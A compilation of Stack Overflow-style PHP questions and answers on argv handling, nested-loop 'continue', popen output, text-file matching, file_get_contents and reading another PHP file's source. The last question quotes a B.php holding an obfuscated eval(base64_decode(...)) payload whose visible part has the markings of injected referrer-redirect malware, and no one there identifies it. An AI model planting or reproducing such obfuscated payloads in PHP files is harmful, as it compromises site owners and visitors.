Dealing with argc and argv - php

I wrote the code as follows:
<?php
array_shift($argv);
$taskid=$argv[0];
$file1=file_get_contents($argv[1]);
$file2=fopen($argv[2],"w");
echo $taskid."\n".$file1."\n".$file2."\n";
?>
I execute this program as php myfile.php 1 1.txt 2.txt
Where 1 is the taskid, 1.txt is the input file and 2.txt is the output file.
I want to modify this program in such a way that it runs even though I don't pass any arguments that is like php myfile.php should run. I want to place an if condition for that. I worked with the conditions like if(*argv<=1) and if(argc==NULL) etc., but none of them are working.
I need a perfect condition that checks if no arguments are passed then my program should show a user friendly message.
Can someone help me??

if ($argc !== 4) {
// show message

Try this:
<?php
array_shift($argv);
if (empty($argv) || count($argv) != 3) {
echo "Incorrect number of arguments\n";
}
else {
$taskid = $argv[0];
$file1 = file_get_contents($argv[1]);
$file2 = fopen($argv[2],"w");
echo $taskid . "\n" . $file1 . "\n" . $file2 . "\n";
}

Related

php "continue" seemingly not working

I have a script which goes through every filename in a directory and removes unwanted files. Amount other things, it matches filenames in a CSV file and then removes a file in an adjacent cell.
<?php
$gameList = trim(shell_exec("ls -a -1 -I . -I .. -I Removed"));
$gameArray = explode("\n", $gameList);
shell_exec('mkdir -p Removed');
echo "\033[01;32m\n\n<<<<<<<<<<Starting Scan>>>>>>>>>>\n\n";
// Do the magic for every file
foreach ($gameArray as $thisGame)
{
// Ensure continue if already removed
if (!$thisGame) continue;
if (!file_exists($thisGame)) continue;
// Manipulate names to look and play nice
$niceName = trim(preg_replace('%[\(|\[].*%', '', $thisGame));
$thisGameNoExtension = preg_replace('/\.' . preg_quote(pathinfo($thisGame, PATHINFO_EXTENSION) , '/') . '$/', '', $thisGame);
// Let the user know what game is being evaluated
echo "\033[00;35m{$thisGameNoExtension} ... ";
$f = fopen("ManualRegionDupes.csv", "r");
while ($row = fgetcsv($f))
{
if ($row[1] == $thisGameNoExtension)
{
$primaryFile = $row[0];
$ext = pathinfo($thisGame, PATHINFO_EXTENSION);
$fCheck = trim(shell_exec("ls -1 " . escapeshellarg($primaryFile) . "." . escapeshellarg($ext) . " 2>/dev/null"));
if ($fCheck)
{
echo "ECHO LION";
shell_exec("mv " . escapeshellarg($thisGame) . " Removed/");
continue;
}
else
{
echo "ECHO ZEBRA";
continue;
}
break;
}
}
fclose($f);
echo "Scanned and kept";
}
echo "\033[01;32m\n<<<<<<<<<<Process Complete>>>>>>>>>>\n\n";
?>
It's working, however I don't understand why I am seeing the final echo "Scanned and Kept" straight after either "ECHO ZEBRA" or "ECHO LION" - as I have "continue" calls straight after them, which should restart the loop and move on to the next file. I'm sure I just need to re-jig something somewhere, but I've been fiddling for hours and I'm completely stumped. I'd be super greatful for any help! Many thanks!
The continue is just working for the inner loop which is reading the individual lines. If you want to skip to the end of the outer loop, you will need to use...
continue 2;
This allows you to say continue for 2 levels of loop.
You have nothing but a break after your continue calls, what else would it run? Edit, if you want the continue on the outer loop, move it there. The continue is just in the wrong loop.

Open a new HTML page with PHP and populate HTML page with string

I am running a python script inside my PHP file to do some analysis. After, "fgets" is used to extract the output and store the extraction in a string variable.
What I am trying to do:
-I have an echo statement in my PHP file that outputs a button called "Full analysis." When a user clicks on that button, I want to open up a new page on a new tab and the new page will contain the output stored on the string variable.
Is this possible? I've tried searching around and not getting much luck. Could you guys point me in the right direction? Thank you.
Edit:
Code to run python script:
$output= popen("python param1 param2 " 2>&1", "r");
if ($output) {
while (($line = fgets($output)) !== false) {
#echo $line;
$str_var .= $line . '<br>';
}
if ($str_var == ""){
$str_var = "ERR: ";
}
}else{
$analysis_output = "Cannot run $str_var ";
}
fclose($output);
}
PHP code to out a button using HTML:
echo "<pre><a target='_blank' href='http://" . param . "'>" . "<button>" . "More info" . "</button>" ."<a/>\n";

Validate Form Against a Text File

I have a simple form input box on my site that the user enters a 4 digit code into & submits. I need that code to match a list of codes in a text file. If not, it just returns an error. If so, it would execute another function. Using PHP.
I'm struggling on how to compare against that text file, seems simple to me...
I appreciate all of your help, learned SOOO much from SO.
Ian
Since you haven't provided a sample of your file or PHP code, am submitting the following:
Considering data.txt contains and with no commas from a .csv file, this will work.
1111
1112
1113
PHP
<?php
$search = "1111";
$file = "data.txt";
if (preg_match('/^' . $search . '$/m', file_get_contents($file))) {
echo "$file DOES contains $search\n";
} else {
echo "$file does NOT contain $search\n";
}
This is another method which will work with or without a comma-seperated file:
1111,
1112,
1113,
PHP
<?php
$search = "1111";
$file = fopen("data.txt", "r") or die("Cannot open file!\n");
while ($line = fgets($file, 1024)) {
//if (preg_match("/\b1111\b/i", $line)) {
if (preg_match("/\b$search\b/i", $line)) {
echo "<b>Found match: " . $line . "</b>";
} else {
echo "No match: " . $line;
}
}
fclose($file);

file_get_contents with empty file not working PHP

I try to use file_get_contents form PHP but it's not working.
There is my code :
$filename = "/opt/gemel/test.txt";
if($filecontent = file_get_contents($filename)){
$nom = fgets(STDIN);
file_put_contents($filename, $nom, FILE_APPEND);
}
else
echo "fail";
And my file test.txt is empty. (0 octets). He exists but he is empty.
When i write something into it, my code works perfectly but if he is empty my code echo "fails"
Why that, why he can't open the file text.txt ?
The function file_get_contents returns the string that's in the file. If the file contains no data, then file_get_contents returns an empty string. If you would try to var_dump('' == false); you would get true. So, even though the file can be read, the contents of the file evaluates to false.
If you would use this line, your code should work:
if($filecontent = file_get_contents($filename) !== false){
Edit; link to the documentation of the Comparison operators.

How to read data from php file by using PHP?

I want to use php code in file A.php to read data of an other php file B.php. So the all php scripts in B.php won't execute and it's just the string.
Unfortunately, the data in B.php is executing when I read it in my A.php.
This is the code in A.php :
$handle = #fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = #filesize('B.php');
$str = $filesize ? #fread($handle, $filesize) : null;
#fclose($handle);
if (!$str) {
echo 'B.php is empty!';
exit;
}
else {
//TODO continue process
}
This is the code in B.php :
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXT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NvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>
NOTE : The B.php file cannot change. My code is in A.php
UPDATE : The data in B.php didn't execute when I read it from A.php. But how could I print the data out? because I use print it by echo $str, nothing is display in the browser.
The code won't be executed except you included that file.
PS: use file_get_contents will be much simple.
$str = file_get_contents('B.php');
Try using file_get_contents to get a plain string of Bs contents
To get all file lines into array use this.
$data = file($filename, FILE_IGNORE_NEW_LINES);

Categories